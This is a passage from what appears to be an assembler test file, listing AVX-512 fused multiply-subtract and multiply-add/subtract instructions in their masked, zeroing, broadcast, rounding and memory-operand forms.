vfmaddsub231pd ymm16, ymm13, [rbx+r11*8-256]
vfmaddsub231pd ymm16{k5}, ymm13, ymm15
vfmaddsub231pd ymm16{k5}, ymm13, [rbx]
vfmaddsub231pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmaddsub231pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmaddsub231pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmaddsub231pd ymm16{k5}{z}, ymm13, ymm15
vfmaddsub231pd ymm16{k5}{z}, ymm13, [rbx]
vfmaddsub231pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmaddsub231pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmaddsub231pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmaddsub231pd zmm24, zmm24, zmm31
vfmaddsub231pd zmm24, zmm24, zmm31, {rd-sae}
vfmaddsub231pd zmm24, zmm24, [rbx]
vfmaddsub231pd zmm24, zmm24, [rbx]{1to8}
vfmaddsub231pd zmm24, zmm24, [rbx+r11*8+256]
vfmaddsub231pd zmm24, zmm24, [rbx+r11*8-256]
vfmaddsub231pd zmm24{k5}, zmm24, zmm31
vfmaddsub231pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmaddsub231pd zmm24{k5}, zmm24, [rbx]
vfmaddsub231pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmaddsub231pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmaddsub231pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmaddsub231pd zmm24{k5}{z}, zmm24, zmm31
vfmaddsub231pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmaddsub231pd zmm24{k5}{z}, zmm24, [rbx]
vfmaddsub231pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmaddsub231pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmaddsub231pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmaddsub231ps xmm2, xmm7, xmm0
vfmaddsub231ps xmm2, xmm7, [rbx]
vfmaddsub231ps xmm2, xmm7, [rbx]{1to4}
vfmaddsub231ps xmm2, xmm7, [rbx+r11*8+256]
vfmaddsub231ps xmm2, xmm7, [rbx+r11*8-256]
vfmaddsub231ps xmm2{k5}, xmm7, xmm0
vfmaddsub231ps xmm2{k5}, xmm7, [rbx]
vfmaddsub231ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmaddsub231ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmaddsub231ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmaddsub231ps xmm2{k5}{z}, xmm7, xmm0
vfmaddsub231ps xmm2{k5}{z}, xmm7, [rbx]
vfmaddsub231ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmaddsub231ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmaddsub231ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmaddsub231ps ymm16, ymm13, ymm15
vfmaddsub231ps ymm16, ymm13, [rbx]
vfmaddsub231ps ymm16, ymm13, [rbx]{1to8}
vfmaddsub231ps ymm16, ymm13, [rbx+r11*8+256]
vfmaddsub231ps ymm16, ymm13, [rbx+r11*8-256]
vfmaddsub231ps ymm16{k5}, ymm13, ymm15
vfmaddsub231ps ymm16{k5}, ymm13, [rbx]
vfmaddsub231ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmaddsub231ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmaddsub231ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmaddsub231ps ymm16{k5}{z}, ymm13, ymm15
vfmaddsub231ps ymm16{k5}{z}, ymm13, [rbx]
vfmaddsub231ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmaddsub231ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmaddsub231ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmaddsub231ps zmm24, zmm24, zmm31
vfmaddsub231ps zmm24, zmm24, zmm31, {rd-sae}
vfmaddsub231ps zmm24, zmm24, [rbx]
vfmaddsub231ps zmm24, zmm24, [rbx]{1to16}
vfmaddsub231ps zmm24, zmm24, [rbx+r11*8+256]
vfmaddsub231ps zmm24, zmm24, [rbx+r11*8-256]
vfmaddsub231ps zmm24{k5}, zmm24, zmm31
vfmaddsub231ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmaddsub231ps zmm24{k5}, zmm24, [rbx]
vfmaddsub231ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmaddsub231ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmaddsub231ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmaddsub231ps zmm24{k5}{z}, zmm24, zmm31
vfmaddsub231ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmaddsub231ps zmm24{k5}{z}, zmm24, [rbx]
vfmaddsub231ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmaddsub231ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmaddsub231ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsub132pd xmm2, xmm7, xmm0
vfmsub132pd xmm2, xmm7, [rbx]
vfmsub132pd xmm2, xmm7, [rbx]{1to2}
vfmsub132pd xmm2, xmm7, [rbx+r11*8+256]
vfmsub132pd xmm2, xmm7, [rbx+r11*8-256]
vfmsub132pd xmm2{k5}, xmm7, xmm0
vfmsub132pd xmm2{k5}, xmm7, [rbx]
vfmsub132pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmsub132pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub132pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub132pd xmm2{k5}{z}, xmm7, xmm0
vfmsub132pd xmm2{k5}{z}, xmm7, [rbx]
vfmsub132pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmsub132pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub132pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub132pd ymm16, ymm13, ymm15
vfmsub132pd ymm16, ymm13, [rbx]
vfmsub132pd ymm16, ymm13, [rbx]{1to4}
vfmsub132pd ymm16, ymm13, [rbx+r11*8+256]
vfmsub132pd ymm16, ymm13, [rbx+r11*8-256]
vfmsub132pd ymm16{k5}, ymm13, ymm15
vfmsub132pd ymm16{k5}, ymm13, [rbx]
vfmsub132pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmsub132pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsub132pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsub132pd ymm16{k5}{z}, ymm13, ymm15
vfmsub132pd ymm16{k5}{z}, ymm13, [rbx]
vfmsub132pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmsub132pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsub132pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsub132pd zmm24, zmm24, zmm31
vfmsub132pd zmm24, zmm24, zmm31, {rd-sae}
vfmsub132pd zmm24, zmm24, [rbx]
vfmsub132pd zmm24, zmm24, [rbx]{1to8}
vfmsub132pd zmm24, zmm24, [rbx+r11*8+256]
vfmsub132pd zmm24, zmm24, [rbx+r11*8-256]
vfmsub132pd zmm24{k5}, zmm24, zmm31
vfmsub132pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsub132pd zmm24{k5}, zmm24, [rbx]
vfmsub132pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmsub132pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsub132pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsub132pd zmm24{k5}{z}, zmm24, zmm31
vfmsub132pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsub132pd zmm24{k5}{z}, zmm24, [rbx]
vfmsub132pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmsub132pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsub132pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsub132ps xmm2, xmm7, xmm0
vfmsub132ps xmm2, xmm7, [rbx]
vfmsub132ps xmm2, xmm7, [rbx]{1to4}
vfmsub132ps xmm2, xmm7, [rbx+r11*8+256]
vfmsub132ps xmm2, xmm7, [rbx+r11*8-256]
vfmsub132ps xmm2{k5}, xmm7, xmm0
vfmsub132ps xmm2{k5}, xmm7, [rbx]
vfmsub132ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmsub132ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub132ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub132ps xmm2{k5}{z}, xmm7, xmm0
vfmsub132ps xmm2{k5}{z}, xmm7, [rbx]
vfmsub132ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmsub132ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub132ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub132ps ymm16, ymm13, ymm15
vfmsub132ps ymm16, ymm13, [rbx]
vfmsub132ps ymm16, ymm13, [rbx]{1to8}
vfmsub132ps ymm16, ymm13, [rbx+r11*8+256]
vfmsub132ps ymm16, ymm13, [rbx+r11*8-256]
vfmsub132ps ymm16{k5}, ymm13, ymm15
vfmsub132ps ymm16{k5}, ymm13, [rbx]
vfmsub132ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmsub132ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsub132ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsub132ps ymm16{k5}{z}, ymm13, ymm15
vfmsub132ps ymm16{k5}{z}, ymm13, [rbx]
vfmsub132ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmsub132ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsub132ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsub132ps zmm24, zmm24, zmm31
vfmsub132ps zmm24, zmm24, zmm31, {rd-sae}
vfmsub132ps zmm24, zmm24, [rbx]
vfmsub132ps zmm24, zmm24, [rbx]{1to16}
vfmsub132ps zmm24, zmm24, [rbx+r11*8+256]
vfmsub132ps zmm24, zmm24, [rbx+r11*8-256]
vfmsub132ps zmm24{k5}, zmm24, zmm31
vfmsub132ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsub132ps zmm24{k5}, zmm24, [rbx]
vfmsub132ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmsub132ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsub132ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsub132ps zmm24{k5}{z}, zmm24, zmm31
vfmsub132ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsub132ps zmm24{k5}{z}, zmm24, [rbx]
vfmsub132ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmsub132ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsub132ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsub132sd xmm2, xmm7, xmm0
vfmsub132sd xmm2, xmm7, xmm0, {rd-sae}
vfmsub132sd xmm2, xmm7, [rbx]
vfmsub132sd xmm2, xmm7, [rbx+r11*8+256]
vfmsub132sd xmm2, xmm7, [rbx+r11*8-256]
vfmsub132sd xmm2{k5}, xmm7, xmm0
vfmsub132sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmsub132sd xmm2{k5}, xmm7, [rbx]
vfmsub132sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub132sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub132sd xmm2{k5}{z}, xmm7, xmm0
vfmsub132sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmsub132sd xmm2{k5}{z}, xmm7, [rbx]
vfmsub132sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub132sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub132ss xmm2, xmm7, xmm0
vfmsub132ss xmm2, xmm7, xmm0, {rd-sae}
vfmsub132ss xmm2, xmm7, [rbx]
vfmsub132ss xmm2, xmm7, [rbx+r11*8+256]
vfmsub132ss xmm2, xmm7, [rbx+r11*8-256]
vfmsub132ss xmm2{k5}, xmm7, xmm0
vfmsub132ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmsub132ss xmm2{k5}, xmm7, [rbx]
vfmsub132ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub132ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub132ss xmm2{k5}{z}, xmm7, xmm0
vfmsub132ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmsub132ss xmm2{k5}{z}, xmm7, [rbx]
vfmsub132ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub132ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub213pd xmm2, xmm7, xmm0
vfmsub213pd xmm2, xmm7, [rbx]
vfmsub213pd xmm2, xmm7, [rbx]{1to2}
vfmsub213pd xmm2, xmm7, [rbx+r11*8+256]
vfmsub213pd xmm2, xmm7, [rbx+r11*8-256]
vfmsub213pd xmm2{k5}, xmm7, xmm0
vfmsub213pd xmm2{k5}, xmm7, [rbx]
vfmsub213pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmsub213pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub213pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub213pd xmm2{k5}{z}, xmm7, xmm0
vfmsub213pd xmm2{k5}{z}, xmm7, [rbx]
vfmsub213pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmsub213pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub213pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub213pd ymm16, ymm13, ymm15
vfmsub213pd ymm16, ymm13, [rbx]
vfmsub213pd ymm16, ymm13, [rbx]{1to4}
vfmsub213pd ymm16, ymm13, [rbx+r11*8+256]
vfmsub213pd ymm16, ymm13, [rbx+r11*8-256]
vfmsub213pd ymm16{k5}, ymm13, ymm15
vfmsub213pd ymm16{k5}, ymm13, [rbx]
vfmsub213pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmsub213pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsub213pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsub213pd ymm16{k5}{z}, ymm13, ymm15
vfmsub213pd ymm16{k5}{z}, ymm13, [rbx]
vfmsub213pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmsub213pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsub213pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsub213pd zmm24, zmm24, zmm31
vfmsub213pd zmm24, zmm24, zmm31, {rd-sae}
vfmsub213pd zmm24, zmm24, [rbx]
vfmsub213pd zmm24, zmm24, [rbx]{1to8}
vfmsub213pd zmm24, zmm24, [rbx+r11*8+256]
vfmsub213pd zmm24, zmm24, [rbx+r11*8-256]
vfmsub213pd zmm24{k5}, zmm24, zmm31
vfmsub213pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsub213pd zmm24{k5}, zmm24, [rbx]
vfmsub213pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmsub213pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsub213pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsub213pd zmm24{k5}{z}, zmm24, zmm31
vfmsub213pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsub213pd zmm24{k5}{z}, zmm24, [rbx]
vfmsub213pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmsub213pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsub213pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsub213ps xmm2, xmm7, xmm0
vfmsub213ps xmm2, xmm7, [rbx]
vfmsub213ps xmm2, xmm7, [rbx]{1to4}
vfmsub213ps xmm2, xmm7, [rbx+r11*8+256]
vfmsub213ps xmm2, xmm7, [rbx+r11*8-256]
vfmsub213ps xmm2{k5}, xmm7, xmm0
vfmsub213ps xmm2{k5}, xmm7, [rbx]
vfmsub213ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmsub213ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub213ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub213ps xmm2{k5}{z}, xmm7, xmm0
vfmsub213ps xmm2{k5}{z}, xmm7, [rbx]
vfmsub213ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmsub213ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub213ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub213ps ymm16, ymm13, ymm15
vfmsub213ps ymm16, ymm13, [rbx]
vfmsub213ps ymm16, ymm13, [rbx]{1to8}
vfmsub213ps ymm16, ymm13, [rbx+r11*8+256]
vfmsub213ps ymm16, ymm13, [rbx+r11*8-256]
vfmsub213ps ymm16{k5}, ymm13, ymm15
vfmsub213ps ymm16{k5}, ymm13, [rbx]
vfmsub213ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmsub213ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsub213ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsub213ps ymm16{k5}{z}, ymm13, ymm15
vfmsub213ps ymm16{k5}{z}, ymm13, [rbx]
vfmsub213ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmsub213ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsub213ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsub213ps zmm24, zmm24, zmm31
vfmsub213ps zmm24, zmm24, zmm31, {rd-sae}
vfmsub213ps zmm24, zmm24, [rbx]
vfmsub213ps zmm24, zmm24, [rbx]{1to16}
vfmsub213ps zmm24, zmm24, [rbx+r11*8+256]
vfmsub213ps zmm24, zmm24, [rbx+r11*8-256]
vfmsub213ps zmm24{k5}, zmm24, zmm31
vfmsub213ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsub213ps zmm24{k5}, zmm24, [rbx]
vfmsub213ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmsub213ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsub213ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsub213ps zmm24{k5}{z}, zmm24, zmm31
vfmsub213ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsub213ps zmm24{k5}{z}, zmm24, [rbx]
vfmsub213ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmsub213ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsub213ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsub213sd xmm2, xmm7, xmm0
vfmsub213sd xmm2, xmm7, xmm0, {rd-sae}
vfmsub213sd xmm2, xmm7, [rbx]
vfmsub213sd xmm2, xmm7, [rbx+r11*8+256]
vfmsub213sd xmm2, xmm7, [rbx+r11*8-256]
vfmsub213sd xmm2{k5}, xmm7, xmm0
vfmsub213sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmsub213sd xmm2{k5}, xmm7, [rbx]
vfmsub213sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub213sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub213sd xmm2{k5}{z}, xmm7, xmm0
vfmsub213sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmsub213sd xmm2{k5}{z}, xmm7, [rbx]
vfmsub213sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub213sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub213ss xmm2, xmm7, xmm0
vfmsub213ss xmm2, xmm7, xmm0, {rd-sae}
vfmsub213ss xmm2, xmm7, [rbx]
vfmsub213ss xmm2, xmm7, [rbx+r11*8+256]
vfmsub213ss xmm2, xmm7, [rbx+r11*8-256]
vfmsub213ss xmm2{k5}, xmm7, xmm0
vfmsub213ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmsub213ss xmm2{k5}, xmm7, [rbx]
vfmsub213ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub213ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub213ss xmm2{k5}{z}, xmm7, xmm0
vfmsub213ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmsub213ss xmm2{k5}{z}, xmm7, [rbx]
vfmsub213ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub213ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub231pd xmm2, xmm7, xmm0
vfmsub231pd xmm2, xmm7, [rbx]
vfmsub231pd xmm2, xmm7, [rbx]{1to2}
vfmsub231pd xmm2, xmm7, [rbx+r11*8+256]
vfmsub231pd xmm2, xmm7, [rbx+r11*8-256]
vfmsub231pd xmm2{k5}, xmm7, xmm0
vfmsub231pd xmm2{k5}, xmm7, [rbx]
vfmsub231pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmsub231pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub231pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub231pd xmm2{k5}{z}, xmm7, xmm0
vfmsub231pd xmm2{k5}{z}, xmm7, [rbx]
vfmsub231pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmsub231pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub231pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub231pd ymm16, ymm13, ymm15
vfmsub231pd ymm16, ymm13, [rbx]
vfmsub231pd ymm16, ymm13, [rbx]{1to4}
vfmsub231pd ymm16, ymm13, [rbx+r11*8+256]
vfmsub231pd ymm16, ymm13, [rbx+r11*8-256]
vfmsub231pd ymm16{k5}, ymm13, ymm15
vfmsub231pd ymm16{k5}, ymm13, [rbx]
vfmsub231pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmsub231pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsub231pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsub231pd ymm16{k5}{z}, ymm13, ymm15
vfmsub231pd ymm16{k5}{z}, ymm13, [rbx]
vfmsub231pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmsub231pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsub231pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsub231pd zmm24, zmm24, zmm31
vfmsub231pd zmm24, zmm24, zmm31, {rd-sae}
vfmsub231pd zmm24, zmm24, [rbx]
vfmsub231pd zmm24, zmm24, [rbx]{1to8}
vfmsub231pd zmm24, zmm24, [rbx+r11*8+256]
vfmsub231pd zmm24, zmm24, [rbx+r11*8-256]
vfmsub231pd zmm24{k5}, zmm24, zmm31
vfmsub231pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsub231pd zmm24{k5}, zmm24, [rbx]
vfmsub231pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmsub231pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsub231pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsub231pd zmm24{k5}{z}, zmm24, zmm31
vfmsub231pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsub231pd zmm24{k5}{z}, zmm24, [rbx]
vfmsub231pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmsub231pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsub231pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsub231ps xmm2, xmm7, xmm0
vfmsub231ps xmm2, xmm7, [rbx]
vfmsub231ps xmm2, xmm7, [rbx]{1to4}
vfmsub231ps xmm2, xmm7, [rbx+r11*8+256]
vfmsub231ps xmm2, xmm7, [rbx+r11*8-256]
vfmsub231ps xmm2{k5}, xmm7, xmm0
vfmsub231ps xmm2{k5}, xmm7, [rbx]
vfmsub231ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmsub231ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub231ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub231ps xmm2{k5}{z}, xmm7, xmm0
vfmsub231ps xmm2{k5}{z}, xmm7, [rbx]
vfmsub231ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmsub231ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub231ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub231ps ymm16, ymm13, ymm15
vfmsub231ps ymm16, ymm13, [rbx]
vfmsub231ps ymm16, ymm13, [rbx]{1to8}
vfmsub231ps ymm16, ymm13, [rbx+r11*8+256]
vfmsub231ps ymm16, ymm13, [rbx+r11*8-256]
vfmsub231ps ymm16{k5}, ymm13, ymm15
vfmsub231ps ymm16{k5}, ymm13, [rbx]
vfmsub231ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmsub231ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsub231ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsub231ps ymm16{k5}{z}, ymm13, ymm15
vfmsub231ps ymm16{k5}{z}, ymm13, [rbx]
vfmsub231ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmsub231ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsub231ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsub231ps zmm24, zmm24, zmm31
vfmsub231ps zmm24, zmm24, zmm31, {rd-sae}
vfmsub231ps zmm24, zmm24, [rbx]
vfmsub231ps zmm24, zmm24, [rbx]{1to16}
vfmsub231ps zmm24, zmm24, [rbx+r11*8+256]
vfmsub231ps zmm24, zmm24, [rbx+r11*8-256]
vfmsub231ps zmm24{k5}, zmm24, zmm31
vfmsub231ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsub231ps zmm24{k5}, zmm24, [rbx]
vfmsub231ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmsub231ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsub231ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsub231ps zmm24{k5}{z}, zmm24, zmm31
vfmsub231ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsub231ps zmm24{k5}{z}, zmm24, [rbx]
vfmsub231ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmsub231ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsub231ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsub231sd xmm2, xmm7, xmm0
vfmsub231sd xmm2, xmm7, xmm0, {rd-sae}
vfmsub231sd xmm2, xmm7, [rbx]
vfmsub231sd xmm2, xmm7, [rbx+r11*8+256]
vfmsub231sd xmm2, xmm7, [rbx+r11*8-256]
vfmsub231sd xmm2{k5}, xmm7, xmm0
vfmsub231sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmsub231sd xmm2{k5}, xmm7, [rbx]
vfmsub231sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub231sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub231sd xmm2{k5}{z}, xmm7, xmm0
vfmsub231sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmsub231sd xmm2{k5}{z}, xmm7, [rbx]
vfmsub231sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub231sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsub231ss xmm2, xmm7, xmm0
vfmsub231ss xmm2, xmm7, xmm0, {rd-sae}
vfmsub231ss xmm2, xmm7, [rbx]
vfmsub231ss xmm2, xmm7, [rbx+r11*8+256]
vfmsub231ss xmm2, xmm7, [rbx+r11*8-256]
vfmsub231ss xmm2{k5}, xmm7, xmm0
vfmsub231ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmsub231ss xmm2{k5}, xmm7, [rbx]
vfmsub231ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsub231ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsub231ss xmm2{k5}{z}, xmm7, xmm0
vfmsub231ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmsub231ss xmm2{k5}{z}, xmm7, [rbx]
vfmsub231ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsub231ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsubadd132pd xmm2, xmm7, xmm0
vfmsubadd132pd xmm2, xmm7, [rbx]
vfmsubadd132pd xmm2, xmm7, [rbx]{1to2}
vfmsubadd132pd xmm2, xmm7, [rbx+r11*8+256]
vfmsubadd132pd xmm2, xmm7, [rbx+r11*8-256]
vfmsubadd132pd xmm2{k5}, xmm7, xmm0
vfmsubadd132pd xmm2{k5}, xmm7, [rbx]
vfmsubadd132pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmsubadd132pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsubadd132pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsubadd132pd xmm2{k5}{z}, xmm7, xmm0
vfmsubadd132pd xmm2{k5}{z}, xmm7, [rbx]
vfmsubadd132pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmsubadd132pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
